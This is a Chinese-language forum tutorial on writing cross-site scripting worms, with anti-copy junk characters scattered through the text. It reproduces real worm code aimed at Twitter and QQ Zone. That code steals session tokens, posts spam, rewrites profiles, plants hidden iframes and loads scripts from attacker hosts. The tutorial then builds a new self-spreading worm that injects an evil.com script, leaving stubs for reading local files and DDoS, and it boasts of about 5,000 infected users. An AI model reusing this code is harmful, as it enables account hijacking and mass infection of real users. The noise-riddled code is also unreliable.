# q6 Q+ S9 l: o& A1 M+ J
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
8 P) F" N5 j0 t) N% E
  ?/ N# R. t- l9 }8 k, XXmlHttp.send(null);
9 \0 {! W3 T0 s3 d5 [; w, ]8 \
<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
1 p" I* J! r. P9 w; R5 l& K: `复制代码案例:Twitter 蠕蟲五度發威
第一版:
( A! ]$ C. X+ e+ f- r' s$ n  下载 (5.1 KB)
9 ~) p8 K! |3 R# ^
$ E8 ^% |7 B+ S/ F/ z6 天前 08:27
4 }5 Y& F8 {4 o5 J8 P8 P! E
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
; _# N# W9 x* Q8 e$ i" Z2 ~) g
1 D9 l* H3 j( T# \# n( i7 M  X4 P   2.   
! {8 p$ |7 y/ q. j6 U7 I4 b/ h
   3. function XHConn(){  
6 x% B7 b( m* h: Q
% o1 v5 I. p( K" u+ X2 s: K( A   4.   var _0x6687x2,_0x6687x3=false;  

* L9 c$ S( e( [. P) Q+ q8 V1 h   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
6 I; }: Y" a1 O* r
' }( e$ o1 ]$ Q2 N* R) Q; o' E, v5 }   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
2 v- ~7 g/ ], I4 N& J+ n
   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

% U& H9 T6 v# [# R   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
8 t; \: f! h0 J( h- }. x; F7 d
+ y8 Q# o* ~/ k( O: O   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  

0 i! L" l9 b0 i% b# [  A5 L   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

. e( O3 r( A2 k$ O4 z   6.   var authtoken=authreg.exec(content);  

1 h( G$ J) N, K* P9 r! K   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  
) Y1 O/ K+ p5 Y; W! l3 `
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
, ^/ B3 P3 `, H3 C& Z
  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
- G) o2 b9 B/ H, D! a
4 n' X5 z! |1 |' K, `  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
- W' I9 \+ a$ f! B
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
  i" N8 A4 D, ^" g
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
- O- B$ c* u6 G6 h( s1 B
8 [3 s: d/ ~1 n# g# ~  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

' n6 k/ o+ s' [  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

5 u/ }% |2 Q  M' f/ e- ~2 K0 X  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

4 y  k- G  G( d1 l  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
* W6 z8 e3 R# I5 O7 Y, q
3 }8 P1 N, b: S! D$ g9 b  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
2 g: J$ {% I5 _2 P
, h' i; T! H" ?. P  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

! z0 Q: V: n' Z- |" \! J2 ]  24.     
- }! \1 ?  P& i
- V9 x4 {) u; [  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

0 G# q' b1 q3 X3 o0 P8 ]9 B  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     
$ R) a& L) g; u9 G& c1 [1 ^
9 O, N. [1 t( P/ x  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
* e* U) N# y$ L0 a4 L5 e$ I
  30.   var _0xf81bx1c="Mikeyy";  
$ B  V5 F2 g! U2 v. J
  31.   var updateEncode=urlencode(_0xf81bx1c);  

9 \5 N  p9 O3 E  32.   var ajaxConn1= new XHConn();  

  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

& X# u+ j, z) O2 c$ _, Z6 V  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  
1 f8 w0 R% I$ }, y0 T3 U  v, g
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
" F5 m, p! Z/ }( [) h) C+ }$ h
. ^2 g; y. a5 x0 z: R  U  38.     
* {+ y, y! v9 H* h! o/ Z
2 x) x  H$ I* h" K( _) ?9 ^& M1 B& U  39. } ;  
; A0 }* ?/ k0 @
' t- G' X' g+ ?# P# I, Y3 V' T6 a, l0 \  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
! U. _" l* E5 [% ]+ U5 ?% C. G
window.onerror=killErrors;



var shendu;shendu=4;

& X. E1 \2 O  u' @5 q8 e+ q: ?6 p//---------------global---v------------------------------------------
2 {/ b9 L# r! Y: @
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
/ U9 {; L( f* g; q' P* S
* E4 {# o# r% q2 I+ |1 rvar myblogurl=new Array();var myblogid=new Array();
4 B1 j4 H# V3 T2 U) V
7 p3 a, i8 I& b2 l$ S) J        var gurl=document.location.href;
# ?& R) r# `  R. g8 }' o2 q
        var gurle=gurl.indexOf("com/");
# }! @8 B! h; |" A
# Y# r; _, L% B& j4 J9 U& _, N6 X7 [7 T8 x        gurl=gurl.substring(0,gurle+3);        
% W; C0 O9 @( r& i0 L% Q
        var visitorID=top.document.documentElement.outerHTML;
" p, }0 D& s4 t5 C0 a% n- y
           var cookieS=visitorID.indexOf("g_iLoginUin = ");
4 S& e: u* g( L" x( |/ E: [
+ |7 G+ ^  N' N) w* C+ n* `        visitorID=visitorID.substring(cookieS+14);

" \2 _* Y/ e- n0 v* V6 e7 v        cookieS=visitorID.indexOf(",");
& p8 x7 a* h2 e8 w: Z7 p9 l
! ^: B' C7 ^, O1 H! L# \$ ]$ I        visitorID=visitorID.substring(0,cookieS);
, g# m0 r4 S9 L2 v& l
$ P4 e1 ?4 U7 l  e# p        get_my_blog(visitorID);

        DOshuamy();
4 `& D" S) k2 v6 F6 ?5 l

: y* k  C' t5 B* K( |
5 g) a! [6 ]" R; n//挂马

. p0 z9 _$ G, p2 `! X& R7 ]$ M' R. cfunction DOshuamy(){
9 k6 V6 o8 f8 V$ M6 V! @4 _8 j
var ssr=document.getElementById("veryTitle");
. w' i# N5 {  d
ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

9 H6 I, E; s+ l9 k: j}

' j: ^& n# ^0 d6 u/ s
6 k+ U7 z" }2 n2 g- e+ I5 b& K  A& \
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

: d) x0 x! ~; ]- u+ r/ Mfunction get_my_blog(visitorID){
: c1 E' w; J) S' h2 Y- L$ I: P% B5 }
   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

( J. P0 ]3 d$ m  r5 k   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的

. }. W1 o; f% O- g5 I     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;
" H; y- j' A( _+ w. F. F$ R8 e, K
     get_my_blogurl(guest);    //执行这个函数
* b5 W/ ?7 ?9 t+ a7 R" t! r" g7 I
    }

$ S  ~0 I% y( n* t7 K1 ^( ^3 K}
: {3 n" B& G" ~8 [

: N8 v7 ?. a1 @; o
//这里似乎是判断没有登录的

function get_my_blogurl(guest){

  var mybloglist=guest;

  var myurls;var blogids;var blogide;
0 X4 c% _4 _$ D7 M" h
7 _- o6 i5 i! e( \" Z; n  for(i=0;i<shendu;i++){

9 C. ?' o: \% R# ~! D) F+ E3 B     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
/ t! L  W0 N) C1 V! H) d9 P2 _- _6 d
     if(myurls!=-1){    //找到了就执行下面的

! m3 O9 K1 ~6 F3 a         mybloglist=mybloglist.substring(myurls+11);
; F, d( o5 \* l9 @
/ V( C# Z! K+ f: E% q9 @         myurls=mybloglist.indexOf(')');

* H* a. [$ Y: M. A. r: Z& @& i         myblogid=mybloglist.substring(0,myurls);

: X+ Q3 F& ]! N7 K        }else{break;}
) {' `7 j) k6 H3 j- i8 b
}
9 P9 q& H# l7 N% \
* f3 r, @7 o  t: @get_my_testself();    //执行这个函数
9 K! z# N2 g6 X
. V2 _. T. J+ @% n# }4 G9 t}



( u- X$ ~6 p+ Y7 g' A9 R//这里往哪跳就不知道了
) y2 T7 D6 x8 j* w6 n& I9 d/ I
function get_my_testself(){

3 Z7 N; v6 U( W. Z/ O! T2 |1 j  for(i=0;i<myblogid.length;i++){    //获得blogid的值

& V( N+ x& F9 z  X- e" Q9 ^      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
- x, [8 o# c5 f' }2 o0 {& m5 r" D' A
/ h& w2 ?! [6 R4 e& k      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
0 x" O/ b/ m( N' ~4 m# s
+ X3 ^. e1 R1 b1 A; P6 y/ ]      if(xhr2){        //如果成功
* k. j- D; k0 [" u; m& Q
              xhr2.open("GET",url,false);     //打开上面的那个url
4 U, n' ~5 {/ }' ?/ t3 i! @
  m1 {0 Y; M- Q1 B              xhr2.send();

& a( V+ z: ^8 w2 J0 c# m              guest2=xhr2.responseText;
# w$ ^, o# l$ g' `+ V
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
# E! o& y7 ^3 H* x
              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
$ R  f; [! C/ r
- p5 v6 x7 G7 |7 B6 ~: S- B- Z* b7 b                targetblogurlid=myblogid;   

                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

  k+ g- b+ b5 M- H3 H$ ?% c                break;
/ }- R) o9 w9 {0 Z9 V$ R
$ n2 T/ B9 I0 ~# E- ~               }

% b7 q) [7 j  F) {              if(mycheckit=="-1"){
0 r* o" r( l# s" q' r
                targetblogurlid=myblogid;

* R  e, `. l" T$ c4 w                add_js(visitorID,targetblogurlid,gurl);    //执行它

+ V& d6 J* a$ g- j) R6 d$ r                break;

               }
; k( y% J' v7 k2 n
% Z1 J, y5 e7 l, K1 d        }      

3 m, q2 \) X  s) A$ E! p}

}


" V0 s# t9 y# ~, s. |! ^
//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象
4 Q0 c( s3 G- r. l2 ^/ H9 {6 u
. ]' ~5 X5 g: sfunction createXMLHttpRequest(){

    var XMLhttpObject=null;  

8 H* ^/ I7 W$ j# F2 Z) L% S! F    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
5 }; Q8 C+ [4 Q. z2 W$ T8 ]+ R- J& }
    else  
" I! b( `" Y/ C4 y! a
5 ~2 W6 R) I/ z% i! Q. ^  b2 G" m      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
0 I% T4 @9 ~3 L7 ~3 l7 C! j* V7 |3 T
- H7 z; T5 @! L6 D. y9 R: L; N        for(var i=0;i<MSXML.length;i++)  
0 Y1 v1 I, ^- n5 E3 A7 @
  x, R0 d0 }, s6 a; V7 a  c' D        {  
0 |8 X2 I, T' C
            try  
$ [7 B0 x3 X0 @. D( z% A
            {  
' n4 k  b4 j) w; l$ d& S- r
" K6 X& U  l) Y( N2 q                XMLhttpObject=new ActiveXObject(MSXML);  
$ e0 X9 W5 \% ~% d
4 ]6 m2 T& r' ?( h6 c6 _2 Z1 v                break;  

            }  

            catch (ex) {  

% n5 L6 h. Z" Q6 {+ y7 D            }  

5 C/ N  e, k) d         }  
; L& r9 O# P+ m; l# l; B
      }
% S" b; }+ [+ ~
return XMLhttpObject;

}  



: `: J: v- @* g' O$ J) H+ t//这里就是感染部分了
( ^4 w/ l4 H  }/ b4 o
2 k0 n5 D' e1 V9 [- }function add_js(visitorID,targetblogurlid,gurl){

1 Z8 E+ _( i* X# ?  Avar s2=document.createElement('script');

* e/ G% H4 i1 Q* R. [2 rs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

6 y0 l0 t% _) F' r9 l* g3 E- ss2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
: u# O2 G0 ^! L9 |5 Y
- S; K: E& c: X/ E+ O5 ^}


6 G( N# ]1 ]5 r- S
: d0 X6 L$ I  r$ pfunction add_jsdel(visitorID,targetblogurlid,gurl){
" o: Z0 ~4 B8 p( u$ M+ O
( b2 Z% H; y5 s7 [var s2=document.createElement('script');

3 \. D- b" l0 j% _+ i" g% C; ts2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
' l3 }1 E5 l1 ^& z( x
s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);

- G+ F$ d) }, M) K) H0 n5 [0 V}
. @/ W% y% N0 L& [复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
: l4 c8 z% `4 v& q/ D7 K1 j
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
# J0 F8 _" ]3 X3 \2 }5 C  g
- P/ s# G; r7 H$ h/ M
, [' I3 o, g1 ]5 n! h  w下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.

- {6 d0 f. V1 J% c, {& ]7 A首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {
% x5 h: u% K# l( e7 m' Q2 u; Q
7 h2 d# k1 n+ Q# yrequest = new XMLHttpRequest();
  G- B- [- C0 b& U
! I' J6 |' \' m8 _! ]7 Aif(request.overrideMimeType) {

request.overrideMimeType('text/xml');

}

- K: b! j) H& z+ d} else if(window.ActiveXObject) {

3 B: x4 F, i6 H* b( r$ B. pvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
. |7 {8 E9 _! ~# p
for(var i=0; i<versions.length; i++) {
8 F) m4 |0 ~  u2 J9 P. s
try {

request = new ActiveXObject(versions);
+ A( q) X, m: g9 w, O- p2 S
  u' ]+ S2 g- j  }! Q} catch(e) {}
0 k- s8 f( _/ z* G0 i: w
}
: D7 q) Q' J4 n8 [* t/ e  p; _
}
- r9 I- a3 G0 x, j9 R
2 B/ ]( r/ S9 C) P3 X: E3 gxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
8 N% Y1 k( \7 ~2 ^% ~( c* l
        var Browser_Name=navigator.appName;

" R7 v7 B/ |3 n2 @        var Browser_Version=parseFloat(navigator.appVersion);
, C( u4 v9 B  i$ W3 }# i
        var Browser_Agent=navigator.userAgent;
) N  |# K9 K7 A. v8 H; k
0 I# _# N; n( o1 M$ I        
2 m/ G+ \$ Q; g  c! S( x
+ y9 `5 s. Y* G        var Actual_Version,Actual_Name;
: H, [# |* w7 R, |+ _
+ W1 y0 [$ H; n" ~/ m: b        

; V" d  F) b- U7 a        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
% J" B+ K( C9 a% W5 u, k
        var is_NN=(Browser_Name=="Netscape");

" ]. C' T1 l5 H0 X( U  B5 n        var is_Ch=(Browser_Name=="Chrome");

9 P; I% [2 N5 T# t$ g" X8 L( y        
1 G6 }) \+ b% m& Z  ^
        if(is_NN){
7 y( l( e% J. Z
" i1 h* ^: w& R7 e            if(Browser_Version>=5.0){

8 B% X4 Y5 j# c* D                var Split_Sign=Browser_Agent.lastIndexOf("/");
" ~9 |- R: W, f, C+ n& k0 L
5 f2 O5 A# K6 w. M                var Version=Browser_Agent.indexOf(" ",Split_Sign);
8 B+ A6 m2 V- A# Q$ G6 @4 k
" s  ~! H8 d. p7 [5 Z' [                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
( G" d- L6 \5 x' Z( i( q
# V- R: i; F' }  l8 C
* g9 j& Q, E# K3 h/ ~9 S
                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
# J! d' D  L) j, y  s# j. O; f
3 L, c' f  _) q                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }
' I% S5 c1 V3 B+ ?: X
            else{

                Actual_Version=Browser_Version;
4 u5 W+ I! W4 L6 a" U/ r0 [
; I6 U- e# M- @                Actual_Name=Browser_Name;

* T4 f3 }' M7 i! }            }
0 j+ W; }7 i+ {5 m
( c& G" R/ w  [        }

3 U' [6 H+ r+ U) k        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");

3 C3 u) [  C6 B+ ^2 y$ r            var Version_End=Browser_Agent.indexOf(";",Version_Start);
. r8 N; j5 N. e: n
            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

9 k; d/ n* W4 C( |# l6 ^. v+ Y7 \* ^            Actual_Name=Browser_Name;

$ b3 X  n0 {5 A. @6 p! c            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

! x- N/ P( b' K. [                Actual_Name+="(Maxthon)";

! l$ z0 D( J( p3 c            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
9 _  }) j) o# E" q6 v, b( |, {
) t/ x0 p. m( X6 ]& O                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

                var tempend=Browser_Agent.length;

( b# d5 f; Z4 |                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

# g; r1 ?* |& @3 `        }
2 \6 U4 L/ L4 [3 n3 M5 z3 o2 @
        else if(is_Ch){
& D, G! _: V' B4 l2 S
, ]+ C! \# Q' d2 g            var Version_Start=Browser_Agent.indexOf("Chrome");
. I  W  S/ D- c( w
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

& F0 }' J( ^2 M7 d2 x$ l            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
- a3 W1 q$ R: R- c: T6 V8 W' x
            

/ D+ J/ @0 d$ k8 R0 b9 {            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";
: X# v. y& w, ?& b5 h! U
, [8 n" Y) @5 f6 H2 y  X            }

2 _6 @0 A& D/ h            else if(Browser_Agent.indexOf("Opera")!=-1){

; J( n. f- B$ h0 \$ y                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");
+ v0 }1 n2 `1 I/ ^, a: n3 ~" @
                var tempend=Browser_Agent.length;

9 V. o7 F* A: P( V4 e                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
& a! M5 K/ I' S/ G3 B6 ^
1 M$ _- Q! t- R4 Y. R            }

& U: T) ?: r* P( w        }
3 t7 a8 S; A' _" B4 q. q& r' X3 I
        else{

, G4 F  \& `4 N* F1 E            Actual_Name="Unknown Navigator"

$ S' X* Z. J1 O! e7 m, [            Actual_Version="Unknown Version"

: N. T; ~2 G) w        }


9 l, _3 c# D* U! G. l
        navigator.Actual_Name=Actual_Name;

8 z7 L4 @& _* F' [( w. ~/ e8 K        navigator.Actual_Version=Actual_Version;

        

        this.Name=Actual_Name;
; u1 z$ P2 l* U% I: t7 c6 V6 ]
        this.Version=Actual_Version;
( A/ o& Y/ V( X$ o9 F, Y* }
    }
4 ?1 H5 |! y# G
) {2 i  p* x% W: b+ x& ^* V    browserinfo();
0 p+ V2 T' d# q! k! m7 n0 X
5 X" c7 l+ K: z    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

4 v$ N7 @8 e0 M3 |. l" A    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

0 q; D. Z# T8 ~# k& N- B+ E4 B( i    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
3 H6 {) F. n' l, x) K; d
# Z! Z6 W: v, s! ]    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
- g. i# x$ Z" o, r* |. S复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
) X1 l8 Z8 |' y" d复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
7 w8 _8 ^& f  O5 B4 q  ~
xmlHttpReq.send(null);
! t3 f& ~$ U+ C3 a9 W% H
: n2 ?$ A# Q0 ?) c* r4 N: |var resource = xmlHttpReq.responseText;
% c8 @+ H" {8 v5 _5 r. z1 |
+ Z/ z% g& d3 P! L# ]$ j, gvar id=0;var result;

2 K/ b2 r- z/ i# V0 H7 J8 Evar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

# S4 Y# u& v( m- twhile ((result = patt.exec(resource)) != null)  {

id++;

  s5 |5 e9 o% A: S  P- j2 q}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

no=resource.search(/my name is/);
  r7 i/ i9 }4 o* Y4 c* f. ]
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

' m4 [( {+ T/ Z  Gvar post="wd="+wd;
) t& R+ T1 U7 f4 `: ?* L+ H  h
0 h/ a$ ^& h! D  c8 S1 U8 f/ KxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.
5 c  h/ r) L  S: m, l+ S; Y) b( N
% |2 l. Z# x5 a2 w# q, K8 g6 xxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
3 h) H) C# _3 J. E3 t
" q- X) x4 ?$ z9 X4 oxmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
1 g. z- `1 v; e% C2 t$ N2 {
9 `( X7 A( Z. DxmlHttpReq.send(post);

, I0 `. |2 Z$ G, g+ n5 u. V}
4 _' b4 q0 t5 ]- L& [: Z$ ~复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
5 u& w; l9 x, b$ s4 j2 J
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
- a- g; t5 R! m1 `/ k8 f( q
var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

: _7 N4 u9 H$ ]var wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;
( C1 U7 j/ x6 r
2 w: v0 G; y2 PxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
$ n! H# h" p- U" N( Y( O2 g
3 s! j: F& p2 WxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
% \1 T; \+ c  T# v9 S9 P  L8 C% @
1 ~! }; j1 v7 C3 H( t$ l& c9 D, uxmlHttpReq.setRequestHeader("content-length",post.length);
/ |% [/ ~1 j7 {! ]( i! D' {
xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
$ X; u, n+ S- ?5 F
4 V& L% ^. s3 Z! v$ @5 m" t+ [" TxmlHttpReq.send(post);                 //把传播的信息 POST出去.

}
1 C5 q+ _6 X, I5 V3 O' Q复制代码-----------------------------------------------------总结-------------------------------------------------------------------
; e: h1 F' G2 }9 i6 k" J. X# ?+ s


! ]: j* s  d( Q; e5 g9 b* E* [) P: f本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
# x8 i2 ]8 v8 V4 r+ I- |! b) G6 ?蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
. {, [7 y8 f  w操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
2 n1 H6 i( K5 M+ ~# @8 u1 J

) K; M8 f" J* Z6 S. F


6 X6 c& Q- `. b) Q6 G
& V) G& ]0 @6 C1 K* e8 X: ]) `

本文引用文档资料:

"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
8 `( s( m1 v4 \' a; r+ d3 yOther XmlHttpRequest tricks (Amit Klein, January 2003)
